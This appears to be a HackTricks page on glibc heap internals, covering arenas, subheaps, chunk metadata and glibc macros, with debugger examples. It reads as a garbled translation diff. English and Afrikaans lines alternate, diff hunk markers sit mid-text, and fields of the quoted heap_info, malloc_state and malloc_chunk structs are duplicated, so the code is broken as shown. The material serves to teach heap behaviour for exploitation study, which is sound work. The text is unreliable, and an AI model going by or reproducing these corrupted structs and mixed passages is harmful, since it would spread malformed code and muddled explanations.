The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
Die standaard "hoof" arena hanteer heap operasies vir enkel-draad toepassings. Wanneer **nuwe drade** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe draad aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet drade arenas deel**, wat tot potensiële mededinging lei.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
### Subheaps
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassings, wat hulle toelaat om te groei en hul eie heap gebiede apart van die hoof heap te bestuur. Hier is hoe subheaps verskil van die aanvanklike heap en hoe hulle werk:
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
2. **Memory Reservation with `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
3. **Gradual Expansion with `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
1. **Aanvanklike Heap vs. Subheaps**:
- Die aanvanklike heap is direk na die program se binêre in geheue geleë, en dit brei uit deur die `sbrk` stelselaanroep.
- Subheaps, wat deur sekondêre arenas gebruik word, word geskep deur `mmap`, 'n stelselaanroep wat 'n gespesifiseerde geheuegebied kaart.
2. **Geheue Reservasie met `mmap`**:
- Wanneer die heap bestuurder 'n subheap skep, reserveer dit 'n groot blok geheue deur `mmap`. Hierdie reservasie allokeer nie onmiddellik geheue nie; dit dui eenvoudig 'n gebied aan wat ander stelsels of allokasies nie moet gebruik nie.
- Standaard is die gereserveerde grootte vir 'n subheap 1 MB vir 32-bis prosesse en 64 MB vir 64-bis prosesse.
3. **Geleidelike Uitbreiding met `mprotect`**:
- Die gereserveerde geheuegebied is aanvanklik gemerk as `PROT_NONE`, wat aandui dat die kernel nie fisiese geheue aan hierdie ruimte hoef toe te ken nie.
- Om die subheap te "groei", gebruik die heap bestuurder `mprotect` om bladsy toestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander, wat die kernel aanmoedig om fisiese geheue aan die voorheen gereserveerde adresse toe te ken. Hierdie stap-vir-stap benadering laat die subheap toe om uit te brei soos nodig.
- Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met toewysing.
### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
Hierdie struct allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer toewysings nie, hierdie struct sal ook daardie inligting stoor.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
**Elke heap** (hoof arena of ander threads arenas) het 'n **`malloc_state` struktuur.**\
Dit is belangrik om te noem dat die **hoof arena `malloc_state`** struktuur 'n **globale veranderlike in die libc** is (dus geleë in die libc geheue ruimte).\
In die geval van **`malloc_state`** struktuur van die heaps van threads, is hulle geleë **binne eie thread "heap"**.
There some interesting things to note from this structure (see C code below):
Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode hieronder):
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
- Flags:
- `__libc_lock_define (, mutex);` Is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
- Vlaggies:
- ```c
#define NONCONTIGUOUS_BIT (2U)
- ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
- Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan **leak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
- Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
- Die `top` chunk is die laaste "chunk", wat basies **alle die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
- Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplit is, 'n pointer oorblywende deel word hier geplaas.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
Hierdie struktuur verteenwoordig 'n spesifieke stuk geheue. Die verskillende velde het verskillende betekenisse vir toegewyde en nie-toegewyde stukke.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
As commented previously, these chunks also have some metadata, very good represented in this image:
Soos voorheen kommentaar gelewer, het hierdie stukke ook 'n paar metadata, baie goed verteenwoordig in hierdie beeld:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
Die metadata is gewoonlik 0x08B wat die huidige stuk grootte aandui met die laaste 3 bits om aan te dui:
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
- `P`: If 1, the previous chunk is in use
- `A`: As 1 kom dit van 'n subheap, as 0 is dit in die hoof arena
- `M`: As 1, is hierdie stuk deel van 'n ruimte toegeken met mmap en nie deel van 'n heap nie
- `P`: As 1, is die vorige stuk in gebruik
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
Dan, die ruimte vir die gebruikersdata, en uiteindelik 0x08B om die vorige stuk grootte aan te dui wanneer die stuk beskikbaar is (of om gebruikersdata te stoor wanneer dit toegeken word).
Moreover, when available, the user data is used to contain also some data:
Boonop, wanneer beskikbaar, word die gebruikersdata ook gebruik om 'n paar data te bevat:
- **`fd`**: Pointer to the next chunk
- **`bk`**: Pointer to the previous chunk
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
- **`fd`**: Wys na die volgende stuk
- **`bk`**: Wys na die vorige stuk
- **`fd_nextsize`**: Wys na die eerste stuk in die lys wat kleiner is as homself
- **`bk_nextsize`:** Wys na die eerste stuk in die lys wat groter is as homself
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
> Let op hoe die lys op hierdie manier verbind die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
### Chunk Pointers
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
### Stuk Wysers
Wanneer malloc gebruik word, word 'n wys na die inhoud wat geskryf kan word, teruggestuur (net na die koptekste), egter, wanneer stukke bestuur word, is 'n wys na die begin van die koptekste (metadata) nodig.\
Vir hierdie omskakelings word hierdie funksies gebruik:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Uitlyn & minimum grootte
### Alignment & min size
The pointer to the chunk and `0x0f` must be 0.
Die wysiger na die stuk en `0x0f` moet 0 wees.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
return request2size (req);
}
```
Let daarop dat vir die berekening van die totale ruimte wat nodig is, word `SIZE_SZ` slegs 1 keer bygevoeg omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### Kry Chunk data en verander metadata
### Get Chunk data and alter metadata
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
Hierdie funksies werk deur 'n wysiger na 'n chunk te ontvang en is nuttig om metadata te kontroleer/te stel:
- Kontroleer chunk vlae
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
- Sizes and pointers to other chunks
- Groottes en wysers na ander stukke
```c
/*
Bits to mask off when extracting size
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Set head and footer (when chunk nos in use
- Stel kop en voet (wanneer stuk nommers in gebruik)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Get the size of the real usable data inside the chunk
- Kry die grootte van die werklike bruikbare data binne die stuk
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## Voorbeelde
## Examples
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
### Vinige Heap Voorbeeld
Vinige heap voorbeeld van [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) maar in arm64:
```c
#include <stdio.h>
#include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die inligting gestoor is:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Multithreading Example
### Multithreading Voorbeeld
<details>
<summary>Multithread</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
printf("Before exit\n");
getchar();
return 0;
return 0;
}
```
</details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan die begin slegs 1 arena is:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created:
Dan, na die aanroep van die eerste draad, die een wat malloc aanroep, word 'n nuwe arena geskep:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found:
en binne dit kan 'n paar chunks gevind word:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## Bins & Geheue Toewysings/Vrystellings
Check what are the bins and how are they organized and how memory is allocated and freed in:
Kyk wat die bins is en hoe hulle georganiseer is en hoe geheue toegeken en vrygestel word in:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
## Heap Functions Security Checks
## Heap Funksies Sekuriteitskontroles
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
Funksies wat betrokke is by die heap sal sekere kontroles uitvoer voordat hulle hul aksies uitvoer om te probeer seker te maak dat die heap nie gekorrumpeer is nie:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Verwysings
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
Om die doeltreffendheid van hoe stukke gestoor word te verbeter, is elke stuk nie net in een gekoppelde lys nie, maar daar is verskeie tipes. Dit is die bins en daar is 5 tipes bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) klein bins, 63 groot bins, 1 ongesorteerde bin, 10 vinnige bins en 64 tcache bins per draad.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
Die aanvanklike adres van elke ongesorteerde, klein en groot bins is binne dieselfde array. Die indeks 0 is ongebruik, 1 is die ongesorteerde bin, bins 2-64 is klein bins en bins 65-127 is groot bins.
### Tcache (Per-Thread Cache) Bins
### Tcache (Per-Draad Cache) Bins
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
